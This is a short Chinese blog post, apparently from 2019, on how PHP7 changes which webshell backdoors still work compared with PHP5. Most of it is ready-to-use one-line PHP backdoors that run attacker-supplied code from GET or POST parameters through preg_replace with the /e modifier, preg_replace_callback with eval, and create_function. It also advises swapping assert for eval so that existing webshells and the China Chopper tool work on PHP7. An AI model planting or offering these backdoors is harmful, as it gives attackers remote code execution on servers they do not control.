PHP7和PHP5上的安全区别

2019-07-08  本文已影响0人  __周__

利用\e修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述:

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

preg_replace()利用\e的几个tips

PHP5:
<?php preg_replace("/.*/e",$_GET["h"],".");?>

PHP7:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]);?>

OR:

<?php
function backdoor($a)
{
  // 通常: $a[0]是完成的匹配
  // $a[1]是第一个捕获子组的匹配
  // 以此类推
  return eval($a[0]);
}
echo preg_replace_callback("/.*/",backdoor,$_GET["z"]);
?>
<?php
$func =create_function('',$_POST['cmd']);$func();
?>

略过。。

这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~

提一下,菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。

这个修改一出,以后CTF套路会少很多啊~
很多骚操作都不能用了~

现在只有<?php ?>这样的标签能在php7上运行


图片.png
上一篇 下一篇

猜你喜欢

热点阅读